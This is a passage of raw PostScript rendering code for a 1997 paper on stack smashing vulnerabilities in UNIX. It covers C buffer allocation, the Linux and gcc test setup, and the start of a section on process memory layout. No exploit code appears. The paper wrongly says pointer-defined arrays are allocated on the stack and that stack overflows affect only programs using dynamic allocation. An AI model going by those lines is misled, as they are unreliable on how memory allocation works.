(array) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5206 6504 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5258 6504 M (interchangeably ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6372 6504 M (thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6743 6504 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6887 6504 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7050 6504 M (safe ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 6504 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6228 M (define ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1690 6228 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1825 6228 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2294 6228 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2494 6228 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2629 6228 M (contiguous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3419 6228 M (block ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3849 6228 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4049 6228 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4666 6228 M (\(core\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5126 6228 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5436 6228 M (holds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5857 6228 M (multiple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6472 6228 M (instances ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7143 6228 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 6228 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5952 M (identical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1829 5952 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2158 5952 M (type. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2580 5952 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2817 5952 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3164 5952 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3382 5952 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4035 5952 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4216 5952 M (C, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4421 5952 M (buffers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4946 5952 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5202 5952 M (declared ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5818 5952 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6443 5952 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6634 5952 M (static. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7121 5952 M (Static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5676 M (buffers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1743 5676 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2204 5676 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2463 5676 M (explicitly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3145 5676 M (defined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3699 5676 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3883 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4141 5676 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4631 5676 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5000 5676 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5295 5676 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5554 5676 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6209 5676 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6384 5676 M (load ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6725 5676 M (time ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7076 5676 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5400 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1546 5400 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2164 5400 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2356 5400 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3059 5400 M (Dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3732 5400 M (arrays ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4203 5400 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4470 5400 M (defined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5032 5400 M (via ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5298 5400 M (pointers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5897 5400 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6089 5400 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6708 5400 M (locations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 5400 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5124 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1707 5124 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2087 5124 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2393 5124 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2663 5124 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3329 5124 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3515 5124 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3803 5124 M (time ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4165 5124 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4397 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4666 5124 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5158 5124 M (Due ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5501 5124 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5696 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5965 5124 M (obvious ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6557 5124 M (limitations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 5124 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4848 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1607 4848 M (arrays, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2104 4848 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2724 4848 M (allocation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3426 4848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3584 4848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3834 4848 M (method ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4380 4848 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4732 4848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4908 4848 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5121 4848 M (major ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5557 4848 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6234 4848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6521 4848 M (applications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 4848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 4572 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1944 4572 M (environment. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2887 4572 M (Thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3322 4572 M (Smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4039 4572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4302 4572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4704 4572 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4903 4572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5305 4572 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5966 4572 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6552 4572 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6816 4572 M (concerned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4296 M (only with programs that do dynamic allocation.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 3727 M (6. Tools used for testing) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3437 M (Linux, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2214 3437 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2356 3437 M (freely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2813 3437 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3481 3437 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3965 3437 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4661 3437 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5192 3437 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5777 3437 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6011 3437 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6384 3437 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6701 3437 M (hardware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 3437 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3161 M (assumed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1825 3161 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2068 3161 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2319 3161 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2996 3161 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3173 3161 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3461 3161 M (study. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3953 3161 M (While ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4407 3161 M (efforts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4891 3161 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5143 3161 M (made ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5552 3161 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5729 3161 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6184 3161 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6481 3161 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 3161 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2885 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1456 2885 M (generic, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2031 2885 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3118 2885 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3595 2885 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3842 2885 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4282 2885 M (specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4843 2885 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5015 2885 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 2885 M (places. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5953 2885 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6255 2885 M (methods ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 2885 M (presented ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2609 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1430 2609 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1761 2609 M (document ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2508 2609 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2803 2609 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3106 2609 M (limited ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3668 2609 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3888 2609 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4182 2609 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 2609 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5389 2609 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5943 2609 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6450 2609 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6781 2609 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 2609 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2333 M (reproduced under other UNIX operating systems using near-identical means.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2057 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2055 2057 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2557 2057 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2754 2057 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3432 2057 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 2057 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4038 2057 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4327 2057 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5042 2057 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5257 2057 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5583 2057 M (study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6029 2057 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6226 2057 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6515 2057 M (Free ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6898 2057 M (Software ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1781 M (F) ST -2 0 MR (o) ST -2 0 MR (u) ST -2 0 MR (n) ST -2 0 MR (d) ST -2 0 MR (a) ST -2 0 MR (t) ST -2 0 MR (i) ST -3 0 MR (o) ST -3 0 MR (n) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2102 1781 M (GNU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2505 1781 M (CC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2770 1781 M (compiler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3447 1781 M (gcc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3678 1781 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3805 1781 M (gcc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4036 1781 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4079 1781 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4233 1781 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4479 1781 M (default ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4984 1781 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5138 1781 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5781 1781 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6416 1781 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7059 1781 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 1781 M (part ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1505 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1389 1505 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1804 1505 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2135 1505 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2632 1505 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3074 1505 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3969 1505 M (Maintained ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4771 1505 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5056 1505 M (written ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5572 1505 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5783 1505 M (Richard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6355 1505 M (M. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6590 1505 M (Stallman, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7269 1505 M (gcc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7500 1505 M ( ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 11 11 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1419 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1595 9848 M (free ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1957 9848 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2651 9848 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3353 9848 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3650 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3826 9848 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4437 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4678 9848 M (different ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5354 9848 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5872 9848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6214 9848 M (non-UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 9848 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (architectures. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2204 9572 M (Efforts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 9572 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3114 9572 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3494 9572 M (made ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3921 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4116 9572 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 9572 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4904 9572 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5136 9572 M (GNU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5562 9572 M (CC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5850 9572 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6545 9572 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6815 9572 M (generic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9572 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (nature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1662 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1945 9296 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2154 9296 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2409 9296 M (incorporate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3210 9296 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3493 9296 M (proprietary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4276 9296 M (gcc-specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5124 9296 M (extensions. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5911 9296 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6065 9296 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6708 9296 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (examples ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1918 9020 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2123 9020 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2439 9020 M (document ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3171 9020 M (conform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3812 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4017 9020 M (ANSI ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4482 9020 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4669 9020 M (standards ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5374 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5690 9020 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5997 9020 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6230 9020 M (reproduced ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7055 9020 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 9020 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (comparable compiler. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 8175 M (7. UNIX Processes and the Stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 7885 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2173 7885 M (processes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2869 7885 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3055 7885 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3668 7885 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3929 7885 M (organized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4642 7885 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4828 7885 M (three ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5218 7885 M (regions: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5853 7885 M (text, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6201 7885 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6535 7885 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6832 7885 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7231 7885 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7287 7885 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7609 M (figure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1660 7609 M (7.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1868 7609 M (\)[1,7,9]. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2504 7609 M (At ) ST GR 0.0000 0.0000 0.0000 